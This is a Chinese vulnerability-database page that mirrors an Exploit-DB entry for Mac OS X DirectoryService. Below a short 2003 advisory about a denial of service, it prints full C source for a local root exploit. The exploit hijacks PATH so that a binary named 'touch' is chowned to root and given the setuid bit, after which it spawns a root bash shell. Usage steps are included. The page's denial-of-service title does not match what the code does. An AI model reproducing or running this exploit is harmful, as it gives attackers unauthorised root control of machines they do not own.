Apple Mac OSX 10.x – DirectoryService Denial of Service

Apple Mac OSX 10.x – DirectoryService Denial of Service

漏洞ID 1053821 漏洞类型
发布时间 2003-04-10 更新时间 2003-04-10
图片[1]-Apple Mac OSX 10.x – DirectoryService Denial of Service-安全小百科CVE编号 N/A
图片[2]-Apple Mac OSX 10.x – DirectoryService Denial of Service-安全小百科CNNVD-ID N/A
漏洞平台 OSX CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22483
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7323/info

MacOSX DirectoryService has been reported prone to a denial of service vulnerability.

It has been reported that a remote attacker may trigger an exception in
DirectoryService by repeatedly connecting to specific network ports. 

/* 
   OS X <= 10.2.4 DirectoryService local root PATH exploit
   DirectoryService must be crashed prior to execution, per
   @stake advisory.  If you discover how to crash DirectoryService
   e-mail me at [email protected]  [Neeko Oni]

[Copying and pasting code does not make you cool, no matter how many
dollars per hour you make.  Sorry.]

--
Assuming DirectoryService has been crashed/killed, compile
this code as 'touch' (gcc osxds.c -o touch) and execute.

bash$ ./touch
*bunch of stuff here*
euid is root.
bash#

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int 
main(int argc, char **argv)
{
	char           *ORIGPATH;
	int             temp;
	if (argc < 2) {
		if (geteuid() == 0) {
		printf("euid is root.n");
		setuid(0);
		execl("/bin/bash", "bash", NULL);
		}
		strcpy(ORIGPATH, getenv("PATH"));
		printf("Original path: %sn", ORIGPATH);
		setenv("PATH", ".", 1);
		printf("New path: %sn", getenv("PATH"));
		printf("Executing DirectoryService with false PATH...n");
		if (fork() == 0) {
			execl("/usr/sbin/DirectoryService", "DirectoryService", NULL);
		}
		printf("Forked DirectoryService, pausing before shell exec...n");
		sleep(3);
		printf("Cross your fingers.n");
		setenv("PATH", ORIGPATH, 1);
		printf("Path restored: %sn", getenv("PATH"));
		execl("./touch", "touch", NULL);		
	}
system("/usr/sbin/chown root ./touch;/bin/chmod +s ./touch");
}

相关推荐: Sambar Server Information Disclosure Vulnerability

Sambar Server Information Disclosure Vulnerability 漏洞ID 1100534 漏洞类型 Configuration Error 发布时间 2003-03-27 更新时间 2003-03-27 CVE编号 N/A…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享